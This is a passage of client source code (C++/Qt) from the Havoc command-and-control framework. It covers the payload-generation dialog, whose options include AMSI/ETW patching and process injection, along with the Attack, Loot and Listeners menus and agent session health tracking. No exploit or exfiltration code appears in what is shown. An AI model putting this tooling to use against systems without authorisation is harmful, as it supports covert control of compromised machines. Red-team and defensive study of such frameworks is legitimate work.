ConfigAmsiEtwPatch->setText( 0, \"Amsi/Etw Patch\" );\n\n    ConfigInjection->setText( 0, \"Injection\" );\n    ConfigInjection->setExpanded( true );\n    ConfigInjection->addChild( ConfigInjectionSpawn64 );\n    ConfigInjection->addChild( ConfigInjectionSpawn32 );\n\n    ConfigInjectionAlloc->setText( 0, \"Alloc\" );\n    ConfigInjectionExecute->setText( 0, \"Execute\" );\n    ConfigInjectionSpawn64->setText( 0, \"Spawn64\" );\n    ConfigInjectionSpawn32->setText( 0, \"Spawn32\" );\n}\n\nauto Payload::GetConfigAsJson() -> QJsonDocument\n{\n    auto ConfigJson   = QJsonDocument();\n    auto JsonObject   = QJsonObject();\n    auto SubObjects   = map<QString, QJsonObject>();\n    auto TreeIterator = QTreeWidgetItemIterator( TreeConfig );\n\n    while ( *TreeIterator )\n    {\n        auto Parent  = QString();\n        auto Name    = QString();\n        auto ObjType = QString();\n        auto Object  = ( QWidget* ) nullptr;\n\n        if ( ( *TreeIterator )->parent() )\n            Parent = ( *TreeIterator )->parent()->text( 0 );\n\n        Name = ( *TreeIterator )->text( 0 );\n\n        if ( TreeConfig->itemWidget( ( *TreeIterator ), 1 ) ) {\n            ObjType = TreeConfig->itemWidget( ( *TreeIterator ), 1 )->metaObject()->className();\n        }\n\n        if ( Parent.isEmpty() )\n        {\n            if ( ! ObjType.isEmpty() )\n            {\n                Object = TreeConfig->itemWidget( ( *TreeIterator ), 1 );\n                if ( ObjType.compare( \"QComboBox\" ) == 0 )\n                {\n                    JsonObject.insert( Name, QJsonValue::fromVariant( ( ( QComboBox* ) Object )->currentText() ) );\n                }\n                else if ( ObjType.compare( \"QCheckBox\" ) == 0 )\n                {\n                    JsonObject.insert( Name, QJsonValue::fromVariant( ( ( QCheckBox* ) Object )->isChecked() ) );\n                }\n                else if ( ObjType.compare( \"QLineEdit\" ) == 0 )\n                {\n                    JsonObject.insert( Name, QJsonValue::fromVariant( ( ( QLineEdit* ) Object )->text() ) );\n                }\n                else\n                {\n                    auto obj = ObjType.toStdString();\n\n                    spdlog::error( \"ObjType not found: {}\", obj );\n\n                    ++TreeIterator;\n                    continue;\n                }\n            }\n        }\n        else\n        {\n            Object = TreeConfig->itemWidget( ( *TreeIterator ), 1 );\n            if ( ObjType.compare( \"QComboBox\" ) == 0 )\n            {\n                SubObjects[ Parent ].insert( Name, QJsonValue::fromVariant( ( ( QComboBox* ) Object )->currentText() ) );\n            }\n            else if ( ObjType.compare( \"QCheckBox\" ) == 0 )\n            {\n                SubObjects[ Parent ].insert( Name, QJsonValue::fromVariant( ( ( QCheckBox* ) Object )->isChecked() ) );\n            }\n            else if ( ObjType.compare( \"QLineEdit\" ) == 0 )\n            {\n                SubObjects[ Parent ].insert( Name, QJsonValue::fromVariant( ( ( QLineEdit* ) Object )->text() ) );\n            }\n            else\n            {\n                auto obj = ObjType.toStdString();\n                spdlog::error( \"ObjType not found: {}\", obj );\n\n                ++TreeIterator;\n                continue;\n            }\n\n        }\n\n        ++TreeIterator;\n    }\n\n    for ( const auto& object : SubObjects ) {\n        JsonObject.insert( object.first, object.second );\n    }\n\n    ConfigJson.setObject( JsonObject );\n\n    return ConfigJson;\n}\n\nauto Payload::Start() -> void\n{\n    ComboAgentType->clear();\n    ComboListener->clear();\n    ComboFormat->clear();\n    ComboArch->clear();\n    ConsoleText->clear();\n    TreeConfig->clear();\n\n    retranslateUi();\n\n    PayloadDialog->show();\n}\n"
  },
  {
    "path": "client/src/UserInterface/HavocUi.cc",
    "content": "#include <global.hpp>\n\n// Headers for UserInterface\n#include <Havoc/Havoc.hpp>\n#include <Havoc/PythonApi/PythonApi.h>\n\n#include <UserInterface/HavocUI.hpp>\n#include <Havoc/Connector.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n#include <UserInterface/SmallWidgets/EventViewer.hpp>\n#include <UserInterface/Widgets/PythonScript.hpp>\n#include <UserInterface/Widgets/ScriptManager.h>\n#include <UserInterface/Widgets/LootWidget.h>\n\n#include <Util/ColorText.h>\n\n#include <Havoc/Packager.hpp>\n\n#include <QPixmap>\n#include <QProcess>\n#include <QToolButton>\n#include <QShortcut>\n#include <QTimer>\n\nusing namespace HavocNamespace::HavocSpace;\n\nvoid HavocNamespace::UserInterface::HavocUi::setupUi(QMainWindow *Havoc)\n{\n    HavocWindow = Havoc;\n\n    if ( HavocWindow->objectName().isEmpty() ) {\n        HavocWindow->setObjectName( QString::fromUtf8( \"HavocWindow \" ) );\n    }\n\n    HavocWindow->resize( 1399, 821 );\n    HavocWindow->setStyleSheet( FileRead( \":/stylesheets/Havoc\" ) );\n\n    actionNew_Client = new QAction( HavocWindow );\n    actionNew_Client->setObjectName( QString::fromUtf8( \"NewClient\" ) );\n\n    actionChat = new QAction( HavocWindow );\n    actionChat->setObjectName( QString::fromUtf8( \"actionChat\" ) );\n\n    actionPreferences = new QAction( HavocWindow );\n    actionPreferences->setObjectName( QString::fromUtf8( \"actionPreferences\" ) );\n    actionPreferences->setIcon( QIcon( \":/icons/settings\" ) );\n    actionPreferences->setShortcut( QKeySequence( \"Ctrl+Alt+s\" ) );\n\n    actionDisconnect = new QAction( HavocWindow );\n    actionDisconnect->setObjectName( QString::fromUtf8( \"actionDisconnect\" ) );\n\n    actionExit = new QAction( HavocWindow );\n    actionExit->setObjectName( QString::fromUtf8( \"actionExit\" ) );\n\n    actionTeamserver = new QAction( HavocWindow );\n    actionTeamserver->setObjectName( QString::fromUtf8( \"actionTeamserver\" ) );\n\n    actionStore = new QAction( HavocWindow );\n    actionStore->setObjectName( QString::fromUtf8( \"actionStore\" ) );\n\n    actionGeneratePayload = new QAction( HavocWindow );\n    actionGeneratePayload->setObjectName( QString::fromUtf8( \"actionGeneratePayload\" ) );\n\n    actionLoad_Script = new QAction( HavocWindow );\n    actionLoad_Script->setObjectName( QString::fromUtf8( \"actionLoad_Script\" ) );\n\n    actionPythonConsole = new QAction( HavocWindow );\n    actionPythonConsole->setObjectName( QString::fromUtf8( \"actionPythonConsole\" ) );\n\n    actionAbout = new QAction( HavocWindow );\n    actionAbout->setObjectName( QString::fromUtf8( \"actionAbout\" ) );\n\n    actionOpen_Help_Documentation = new QAction( HavocWindow );\n    actionOpen_Help_Documentation->setObjectName( QString::fromUtf8( \"actionOpen_Help_Documentation\" ) );\n\n    actionOpen_API_Reference = new QAction( HavocWindow );\n    actionOpen_API_Reference->setObjectName( QString::fromUtf8( \"actionOpen_API_Reference\" ) );\n\n    actionGithub_Repository = new QAction( HavocWindow );\n    actionGithub_Repository->setObjectName( QString::fromUtf8( \"actionGithub_Repository\" ) );\n\n    actionListeners = new QAction( HavocWindow );\n    actionListeners->setObjectName( QString::fromUtf8( \"actionListeners\" ) );\n\n    actionSessionsTable = new QAction( HavocWindow );\n    actionSessionsTable->setObjectName( QString::fromUtf8( \"actionSessionsTable\" ) );\n\n    actionSessionsGraph = new QAction( HavocWindow );\n    actionSessionsGraph->setObjectName( QString::fromUtf8( \"actionSessionsGraph\" ) );\n\n    actionLogs = new QAction( HavocWindow );\n    actionLogs->setObjectName( QString::fromUtf8( \"actionLogs\" ) );\n\n    actionLoot = new QAction( HavocWindow );\n    actionLoot->setObjectName( QString::fromUtf8( \"actionLoot\" ) );\n\n    centralwidget = new QWidget( HavocWindow );\n    centralwidget->setObjectName( QString::fromUtf8( \"centralwidget\" ) );\n    gridLayout_3 = new QGridLayout( centralwidget );\n    gridLayout_3->setObjectName( QString::fromUtf8( \"gridLayout_3\" ) );\n    gridLayout_3->setContentsMargins( 0, 0, 0, 0 );\n\n    TeamserverTabWidget = new QTabWidget( centralwidget );\n    TeamserverTabWidget->setObjectName( QString::fromUtf8( \"TeamserverTabWidget\" ) );\n    TeamserverTabWidget->setStyleSheet( FileRead( \":/stylesheets/teamserverTab\" ) );\n    TeamserverTabWidget->setTabBarAutoHide( true );\n    TeamserverTabWidget->setTabsClosable( true );\n\n    /* TODO: refactor this. */\n    HavocX::Teamserver.TabSession = new UserInterface::Widgets::TeamserverTabSession;\n    HavocX::Teamserver.TabSession->setupUi( new QWidget, HavocX::Teamserver.Name );\n    TeamserverTabWidget->setCurrentIndex(\n        TeamserverTabWidget->addTab(\n            HavocX::Teamserver.TabSession->PageWidget,\n            HavocX::Teamserver.Name\n        )\n    );\n\n    gridLayout_3->addWidget( TeamserverTabWidget, 0, 0, 1, 1 );\n\n    menubar = new QMenuBar( this->HavocWindow );\n    menubar->setObjectName( QString::fromUtf8( \"menubar\" ) );\n    menubar->setGeometry( QRect( 0, 0, 1143, 20 ) );\n\n    menubar->setStyleSheet( FileRead( \":/stylesheets/menubar\" ) );\n\n    menuHavoc   = new QMenu( menubar );\n    menuView    = new QMenu( menubar );\n    menuAttack  = new QMenu( menubar );\n    MenuSession = new QMenu( menubar );\n    menuScripts = new QMenu( menubar );\n    menuHelp    = new QMenu( menubar );\n\n    menuHavoc->setObjectName( QString::fromUtf8( \"menuHavoc\" ) );\n    menuView->setObjectName( QString::fromUtf8( \"menuView\" ) );\n    menuAttack->setObjectName( QString::fromUtf8( \"menuAttack\" ) );\n\n    HavocWindow->setMenuBar( menubar );\n\n    menuScripts->setObjectName( QString::fromUtf8( \"menuScripts\" ) );\n    menuHelp->setObjectName( QString::fromUtf8( \"menuHelp\" ) );\n\n    statusbar = new QStatusBar( HavocWindow );\n    statusbar->setObjectName( QString::fromUtf8( \"statusbar\" ) );\n    statusbar->setLayoutDirection( Qt::LayoutDirection::RightToLeft );\n    statusbar->setSizeGripEnabled( false );\n    statusbar->setVisible( false ); // change that by setting\n    HavocWindow->setStatusBar( statusbar );\n\n    menubar->addAction( menuHavoc->menuAction() );\n    menubar->addAction( menuView->menuAction() );\n    menubar->addAction( menuAttack->menuAction() );\n    menubar->addAction( menuScripts->menuAction() );\n    menubar->addAction( menuHelp->menuAction() );\n\n    menuHavoc->addAction( actionNew_Client );\n    menuHavoc->addSeparator();\n    menuHavoc->addAction( actionDisconnect );\n    menuHavoc->addAction( actionExit );\n\n    MenuSession->addAction( actionSessionsTable );\n    MenuSession->addAction( actionSessionsGraph );\n\n    menuView->addAction( actionListeners );\n    menuView->addSeparator();\n    menuView->addAction( MenuSession->menuAction() );\n    menuView->addSeparator();\n    menuView->addAction( actionChat );\n    menuView->addAction( actionLoot );\n    menuView->addSeparator();\n    menuView->addAction( actionLogs );\n    menuView->addAction( actionTeamserver );\n\n    menuAttack->addAction( actionGeneratePayload );\n    menuAttack->addAction( actionStore );\n\n    menuScripts->addAction( actionLoad_Script );\n    menuScripts->addAction( actionPythonConsole );\n\n    menuHelp->addAction( actionAbout );\n    menuHelp->addSeparator();\n    menuHelp->addAction( actionOpen_Help_Documentation );\n    menuHelp->addAction( actionOpen_API_Reference );\n    menuHelp->addSeparator();\n    menuHelp->addAction( actionGithub_Repository );\n\n    /* prepare python interpreter */\n    PythonPrepare();\n\n    /* connect events & buttons */\n    ConnectEvents();\n\n    /* set text for each action, button and widget */\n    retranslateUi( HavocWindow );\n\n    QMetaObject::connectSlotsByName( HavocWindow );\n}\n\nvoid HavocNamespace::UserInterface::HavocUi::OneSecondTick()\n{\n\n}\n\nvoid HavocNamespace::UserInterface::HavocUi::MarkSessionAs(HavocNamespace::Util::SessionItem Session, QString Mark)\n{\n    for ( int i = 0; i <  HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ )\n    {\n        auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text();\n\n        if ( Session.Name.compare( AgentID ) == 0 )\n        {\n            auto Package = new Util::Packager::Package;\n            QString Marked;\n\n            if ( Mark.compare( \"Alive\" ) == 0 )\n            {\n                Marked = \"Alive\";\n                Session.Marked = Marked;\n\n                auto Icon = ( Session.Elevated.compare( \"true\" ) == 0 ) ?\n                            WinVersionIcon( Session.OS, true ) :\n                            WinVersionIcon( Session.OS, false );\n\n                HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon );\n\n                for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ )\n                {\n                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) );\n                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) );\n                }\n            }\n            else if ( Mark.compare( \"Dead\" ) == 0 )\n            {\n                Marked = \"Dead\";\n                Session.Marked = Marked;\n\n                HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( \":/icons/DeadWhite\" ) );\n\n                for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ )\n                {\n                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) );\n                    HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) );\n                }\n            }\n\n            Package->Body = Util::Packager::Body_t {\n                .SubEvent = Util::Packager::Session::MarkAs,\n                .Info = {\n                        { \"AgentID\", AgentID.toStdString() },\n                        { \"Marked\",  Marked.toStdString() },\n                }\n            };\n\n            HavocX::Connector->SendPackage( Package );\n\n            break;\n        }\n    }\n}\n\n\nvoid HavocNamespace::UserInterface::HavocUi::UpdateSessionsHealth()\n{\n    for ( auto& session : HavocX::Teamserver.Sessions )\n    {\n        if ( session.Marked.compare( \"Dead\" ) == 0 )\n            continue;\n\n        auto Now  = QDateTime::currentDateTimeUtc();\n        auto diff = session.LastUTC.secsTo( Now );\n\n        auto seconds = QDateTime::fromTime_t( diff ).toUTC().toString(\"s\");\n        auto minutes = QDateTime::fromTime_t( diff ).toUTC().toString(\"m\");\n        auto hours   = QDateTime::fromTime_t( diff ).toUTC().toString(\"h\");\n        auto days    = QDateTime::fromTime_t( diff ).toUTC().toString(\"d\");\n\n        if ( diff < 60 )\n        {\n            session.Last = QString(\"%1s\").arg(seconds);\n            HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str());\n        }\n        else if ( diff < 60 * 60 )\n        {\n            session.Last = QString(\"%1m %2s\").arg(minutes, seconds);\n            HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str());\n        }\n        else if ( diff < 24 * 60 * 60 )\n        {\n            session.Last = QString(\"%1h %2m\").arg(hours, minutes);\n            HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str());\n        }\n        else\n        {\n            session.Last = QString(\"%1d %2h\").arg(days, hours);\n            HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str());\n        }\n\n        // it is very normal for agents to delay three second due to network latency\n        auto AllowedDiff = 3;\n\n        if ( session.KillDate > 0 )\n        {\n            auto UNIX_TIME_START  = 0x019DB1DED53E8000; //January 1, 1970 (start of Unix epoch) in \"ticks\"\n            auto TICKS_PER_SECOND = 10000000; //a tick is 100ns\n            auto KillDateInEpoch  = ( session.KillDate - UNIX_TIME_START ) / TICKS_PER_SECOND;\n\n            if ( Now.secsTo( QDateTime::fromSecsSinceEpoch( KillDateInEpoch, Qt::UTC ) ) <= 0 )\n            {\n                // agent reached its killdate\n                session.Health = \"killdate\";\n                session.Marked = \"Dead\";\n                HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue( session.Name, 9, session.Health );\n                MarkSessionAs( session, QString( \"Dead\") );\n                continue;\n            }\n        }\n\n        if ( ( ( session.WorkingHours >> 22 ) & 1 ) == 1 )\n        {\n            uint32_t StartHour   = ( session.WorkingHours >> 17 ) & 0b011111;\n            uint32_t StartMinute = ( session.WorkingHours >> 11 ) & 0b111111;\n            uint32_t EndHour     = ( session.WorkingHours >>  6 ) & 0b011111;\n            uint32_t EndMinute   = ( session.WorkingHours >>  0 ) & 0b111111;\n            bool isOffHours = false;\n\n            if ( StartHour < Now.time().hour() || EndHour > Now.time().hour() ) {\n                isOffHours = true;\n            }\n\n            if ( StartHour == Now.time().hour() && StartMinute < Now.time().minute() ) {\n                isOffHours = true;\n            }\n\n            if ( EndHour == Now.time().hour() && EndMinute > Now.time().minute() ) {\n                isOffHours = true;\n            }\n\n            if ( isOffHours ) {\n                // agent is offhours\n                session.Health = \"offhours\";\n                HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 9, session.Health);\n                continue;\n            }\n        }\n\n        if ( diff - AllowedDiff < session.SleepDelay + ( session.SleepDelay * 0.01 * session.SleepJitter ) ) {\n            // agent has ping back in time\n            session.Health = \"healthy\";\n            HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue( session.Name, 9, session.Health );\n            continue;\n        } else {\n            // agent has not pinged back in time\n            session.Health = \"unresponsive\";\n            HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue( session.Name, 9, session.Health );\n            continue;\n        }\n    }\n}\n\nvoid HavocNamespace::UserInterface::HavocUi::retranslateUi(QMainWindow* Havoc ) const\n{\n    Havoc->setWindowTitle( \"Havoc\" );\n\n    actionNew_Client->setText( \"New Client\" );\n    actionChat->setText( \"Teamserver Chat\" );\n    actionDisconnect->setText( \"Disconnect\" );\n    actionExit->setText( \"Exit\" );\n    actionTeamserver->setText( \"Teamserver\" );\n    actionStore->setText( \"Extentions\" );\n    actionGeneratePayload->setText( \"Payload\" );\n    actionLoad_Script->setText(  \"Scripts Manager\" );\n    actionPythonConsole->setText( \"Script Console\" );\n    actionAbout->setText( \"About\" );\n    actionOpen_Help_Documentation->setText( \"Open Documentation\" );\n    actionOpen_API_Reference->setText( \"Open API Reference\" );\n    actionGithub_Repository->setText( \"Github Repository\" );\n    actionListeners->setText( \"Listeners\" );\n    actionSessionsTable->setText( \"Table\" );\n    actionSessionsGraph->setText( \"Graph\" );\n    actionLogs->setText( \"Event Viewer\" );\n    actionLoot->setText( \"Loot\" );\n    menuHavoc->setTitle( \"Havoc\" );\n    menuView->setTitle( \"View\" );\n    menuAttack->setTitle( \"Attack\" );\n    menuScripts->setTitle( \"Scripts\" );\n    menuHelp->setTitle( \"Help\" );\n    MenuSession->setTitle( \"Session View\" );\n\n    HavocWindow->setFocus();\n    HavocWindow->showMaximized();\n\n}\n\nvoid HavocNamespace::UserInterface::HavocUi::ConnectEvents()\n{\n    auto OneSecondTimer = new QTimer( this );\n\n    QMainWindow::connect( OneSecondTimer, &QTimer::timeout, this, [&]() {\n        UpdateSessionsHealth();\n    } );\n    OneSecondTimer->start(1000);\n\n    QMainWindow::connect( actionNew_Client, &QAction::triggered, this, []() {\n        QProcess::startDetached( QCoreApplication::applicationFilePath(), QStringList{\"\"} );\n    } );\n\n    QMainWindow::connect( actionChat, &QAction::triggered, this, [&](){\n        auto Teamserver = HavocX::Teamserver.TabSession;\n        if ( Teamserver->TeamserverChat == nullptr ) {\n            Teamserver->TeamserverChat = new Widgets::Chat;\n            Teamserver->TeamserverChat->setupUi(new QWidget);\n            Teamserver->TeamserverName = HavocX::Teamserver.Name;\n        }\n\n        NewBottomTab(\n            Teamserver->TeamserverChat->ChatWidget,\n            \"Teamserver Chat\"\n        );\n    } );\n\n    QMainWindow::connect( actionDisconnect, &QAction::triggered, this, []() {\n        if ( HavocX::Connector != nullptr ) {\n            HavocX::Connector->Disconnect();\n            MessageBox( \"Disconnected\", \"Disconnected from \" + HavocX::Teamserver.Name, QMessageBox::Information );\n        } else {\n            MessageBox( \"Error\", \"Couldn't disconnect from \" + HavocX::Teamserver.Name, QMessageBox::Critical );\n        }\n    } );\n\n    QMainWindow::connect( actionExit, &QAction::triggered, this, []() {\n        Havoc::Exit();\n    } );\n\n    QMainWindow::connect( actionSessionsTable, &QAction::triggered, this, []() {\n        HavocX::Teamserver.TabSession->MainViewWidget->setCurrentIndex( 0 );\n    } );\n\n    QMainWindow::connect( actionListeners, &QAction::triggered, this, [&](){\n        auto Teamserver = HavocX::Teamserver.TabSession;\n\n        if ( Teamserver->ListenerTableWidget == nullptr ) {\n            Teamserver->ListenerTableWidget = new Widgets::ListenersTable;\n            Teamserver->ListenerTableWidget->setupUi(new QWidget);\n            Teamserver->ListenerTableWidget->setDBManager(this->dbManager);\n            Teamserver->ListenerTableWidget->TeamserverName = HavocX::Teamserver.Name;\n        }\n\n        NewBottomTab(\n            Teamserver->ListenerTableWidget->ListenerWidget,\n            \"Listeners\"\n        );\n    } );\n\n    QMainWindow::connect( actionTeamserver, &QAction::triggered, this, [&](){\n        if ( HavocX::Teamserver.TabSession->Teamserver == nullptr ) {\n            HavocX::Teamserver.TabSession->Teamserver = new Teamserver;\n            HavocX::Teamserver.TabSession->Teamserver->setupUi( new QDialog );\n        }\n\n        NewBottomTab(\n            HavocX::Teamserver.TabSession->Teamserver->TeamserverWidget,\n            \"Teamserver\"\n        );\n    } );\n\n    QMainWindow::connect( actionStore, &QAction::triggered, this, [&](){\n        if ( HavocX::Teamserver.TabSession->Store == nullptr ) {\n            HavocX::Teamserver.TabSession->Store = new Store;\n            HavocX::Teamserver.TabSession->Store->setupUi( new QDialog );\n        }\n\n        NewBottomTab(\n            HavocX::Teamserver.TabSession->Store->StoreWidget,\n            \"Extentions\"\n        );\n    } );\n\n    QMainWindow::connect( actionSessionsGraph, &QAction::triggered, this, [&]() {\n        HavocX::Teamserver.TabSession->MainViewWidget->setCurrentIndex( 1 );\n    } );\n\n    QMainWindow::connect( actionLogs, &QAction::triggered, this, [&]() {\n        auto Teamserver = HavocX::Teamserver.TabSession;\n\n        if ( Teamserver->SmallAppWidgets->EventViewer == nullptr )\n        {\n            Teamserver->SmallAppWidgets->EventViewer = new SmallWidgets::EventViewer;\n            Teamserver->SmallAppWidgets->EventViewer->setupUi( new QWidget );\n        }\n\n        NewSmallTab(\n            Teamserver->SmallAppWidgets->EventViewer->EventViewer,\n            \"Event Viewer\"\n        );\n    } );\n\n    QMainWindow::connect( actionLoot, &QAction::triggered, this, [&]() {\n        if ( HavocX::Teamserver.TabSession->LootWidget == nullptr ) {\n            HavocX::Teamserver.TabSession->LootWidget = new LootWidget;\n        }\n\n        NewBottomTab( HavocX::Teamserver.TabSession->LootWidget, \"Loot Collection\" );\n    } );\n\n    QMainWindow::connect( actionGeneratePayload, &QAction::triggered, this, []() {\n        if ( HavocX::Teamserver.TabSession->PayloadDialog == nullptr ) {\n            HavocX::Teamserver.TabSession->PayloadDialog = new Payload;\n            HavocX::Teamserver.TabSession->PayloadDialog->setupUi( new QDialog );\n            HavocX::Teamserver.TabSession->PayloadDialog->TeamserverName = HavocX::Teamserver.Name;\n        }\n\n        HavocX::Teamserver.TabSession->PayloadDialog->Start();\n    } );\n\n    QMainWindow::connect( actionPythonConsole, &QAction::triggered, this, [&]() {\n        auto Teamserver = HavocX::Teamserver.TabSession;\n\n        if ( Teamserver->PythonScriptWidget == nullptr ) {\n            Teamserver->PythonScriptWidget = new Widgets::PythonScriptInterpreter;\n            Teamserver->PythonScriptWidget->setupUi( new QWidget );\n        }\n\n        NewBottomTab(\n            Teamserver->PythonScriptWidget->PythonScriptInterpreterWidget,\n            \"Scripting Console\"\n        );\n    } );\n\n    QMainWindow::connect( actionLoad_Script, &QAction::triggered, this, [&]() {\n        auto Teamserver = HavocX::Teamserver.TabSession;\n\n        if ( Teamserver->PythonScriptWidget == nullptr ) {\n            Teamserver->PythonScriptWidget = new Widgets::PythonScriptInterpreter;\n            Teamserver->PythonScriptWidget->setupUi( new QWidget );\n        }\n\n        if ( Teamserver->ScriptManagerWidget == nullptr ) {\n            Teamserver->ScriptManagerWidget = new Widgets::ScriptManager;\n            Teamserver->ScriptManagerWidget->SetupUi( new QWidget );\n        }\n\n        NewBottomTab(\n            Teamserver->ScriptManagerWidget->ScriptManagerWidget,\n            \"Script Manager\"\n        );\n    } );\n\n    QMainWindow::connect( actionAbout, &QAction::triggered, this, [&]() {\n        if ( AboutDialog == nullptr ) {\n            AboutDialog = new About( new QDialog(HavocX::HavocUserInterface->HavocWindow) );\n            AboutDialog->setupUi();\n        }\n\n        this->AboutDialog->AboutDialog->exec();\n    } );\n\n    QMainWindow::connect( actionGithub_Repository, &QAction::triggered, this, []() {\n        QDesktopServices::openUrl( QUrl( \"https://github.com/HavocFramework/Havoc\" ) );\n    } );\n\n    QMainWindow::connect( actionOpen_Help_Documentation, &QAction::triggered, this, []() {\n        QDesktopServices::openUrl( QUrl( \"https://havocframework.com/docs/welcome\" ) );\n    } );\n}\n\nvoid HavocNamespace::UserInterface::HavocUi::NewBottomTab(QWidget* TabWidget, const std::string& TitleName, const QString IconPath ) const\n{\n    HavocX::Teamserver.TabSession->NewBottomTab( TabWidget, TitleName );\n}\n\nvoid HavocNamespace::UserInterface::HavocUi::setDBManager(HavocSpace::DBManager* dbManager)\n{\n    this->dbManager = dbManager;\n}\n\nvoid UserInterface::HavocUi::NewTeamserverTab(HavocNamespace::Util::ConnectionInfo* Connection )\n{\n    Connection->TabSession = new UserInterface::Widgets::TeamserverTabSession;\n    Connection->TabSession->setupUi( new QWidget, Connection->Name );\n\n    int id = TeamserverTabWidget->addTab( Connection->TabSession->PageWidget, Connection->Name );\n    TeamserverTabWidget->setCurrentIndex( id );\n    HavocX::Teamserver = *Connection;\n}\n\nvoid UserInterface::HavocUi::NewTeamserverTab(QString Name )\n{\n    HavocX::Teamserver.TabSession = new UserInterface::Widgets::TeamserverTabSession;\n    HavocX::Teamserver.TabSession->setupUi( new QWidget, HavocX::Teamserver.Name );\n\n    int id = TeamserverTabWidget->addTab( HavocX::Teamserver.TabSession->PageWidget, HavocX::Teamserver.Name );\n    TeamserverTabWidget->setCurrentIndex( id );\n}\n\nvoid UserInterface::HavocUi::NewSmallTab(QWidget *TabWidget, const string &TitleName ) const\n{\n    auto Teamserver = HavocX::Teamserver.TabSession;\n    Teamserver->NewWidgetTab( TabWidget, TitleName );\n}\n\nvoid UserInterface::HavocUi::PythonPrepare()\n{\n    PyImport_AppendInittab( \"emb\", emb::PyInit_emb );\n    PyImport_AppendInittab( \"havocui\", PythonAPI::HavocUI::PyInit_HavocUI );\n    PyImport_AppendInittab( \"havoc\", PythonAPI::Havoc::PyInit_Havoc );\n\n    Py_Initialize();\n\n    PyImport_ImportModule( \"emb\" );\n\n    for ( auto& ScriptPath : dbManager->GetScripts() ) {\n        Widgets::ScriptManager::AddScript( ScriptPath );\n    }\n}\n\n"
  },
  {
    "path": "client/src/UserInterface/SmallWidgets/EventViewer.cc",
    "content": "#include <UserInterface/SmallWidgets/EventViewer.hpp>\n#include <Util/ColorText.h>\n\nvoid HavocNamespace::UserInterface::SmallWidgets::EventViewer::setupUi(QWidget *Widget) {\n    this->EventViewer = Widget;\n\n    if (Widget->objectName().isEmpty())\n        Widget->setObjectName(QString::fromUtf8(\"EventViewerWidget\"));\n\n    gridLayout = new QGridLayout(Widget);\n    gridLayout->setObjectName(QString::fromUtf8(\"gridLayout\"));\n    gridLayout->setContentsMargins(4, 4, 4, 4);\n\n    EventViewerConsole = new QTextEdit(Widget);\n    EventViewerConsole->setObjectName(QString::fromUtf8(\"EventViewer\"));\n    EventViewerConsole->setReadOnly(true);\n\n    gridLayout->addWidget(EventViewerConsole, 0, 0, 1, 1);\n\n    QMetaObject::connectSlotsByName(Widget);\n}\n\nvoid HavocNamespace::UserInterface::SmallWidgets::EventViewer::AppendText(const QString& Time, const QString& text) const {\n    QString t = Util::ColorText::Comment(Time) + \" \" + text;\n    EventViewerConsole->append(t);\n}"
  },
  {
    "path": "client/src/UserInterface/Widgets/Chat.cc",
    "content": "#include <global.hpp>\n#include <UserInterface/Widgets/Chat.hpp>\n#include <Util/ColorText.h>\n#include <QtCore>\n#include <QCompleter>\n#include <QAbstractItemModel>\n\n#include <Havoc/Packager.hpp>\n#include <Havoc/Connector.hpp>\n\nvoid HavocNamespace::UserInterface::Widgets::Chat::setupUi( QWidget *Form )\n{\n    ChatWidget = Form;\n\n    if ( Form->objectName().isEmpty() ) {\n        Form->setObjectName(QString::fromUtf8(\"Form\"));\n    }\n\n    Form->resize( 932, 536 );\n\n    gridLayout = new QGridLayout(Form);\n    gridLayout->setObjectName(QString::fromUtf8(\"gridLayout\"));\n    gridLayout->setVerticalSpacing(4);\n    gridLayout->setContentsMargins(1, 4, 1, 4);\n    lineEdit = new QLineEdit(Form);\n    lineEdit->setObjectName(QString::fromUtf8(\"lineEdit\"));\n\n    gridLayout->addWidget(lineEdit, 2, 1, 1, 1);\n\n    auto label = new QLabel(Form);\n    label->setObjectName(QString::fromUtf8(\"label\"));\n\n    gridLayout->addWidget(label, 2, 0, 1, 1);\n\n    EventLogText = new QTextEdit(Form);\n    EventLogText->setObjectName(QString::fromUtf8(\"EventLogText\"));\n    EventLogText->setReadOnly(true);\n    EventLogText->setLineWrapMode(QTextEdit::LineWrapMode::NoWrap);\n\n    gridLayout->addWidget(EventLogText, 0, 0, 1, 2);\n\n    Form->setWindowTitle(QCoreApplication::translate(\"Form\", \"Form\", nullptr));\n    lineEdit->setText(QString());\n\n    label->setStyleSheet(\"padding-bottom: 3px; padding-left: 5px;\");\n\n    lineEdit->setStyleSheet(\n            \"background-color: \"+Util::ColorText::Colors::Hex::Background+\";\"\n            + \"color: \"+Util::ColorText::Colors::Hex::Foreground+\";\"\n            );\n\n    EventLogText->setStyleSheet(\n            \"background-color: \"+Util::ColorText::Colors::Hex::Background+\";\"\n            + \"color: 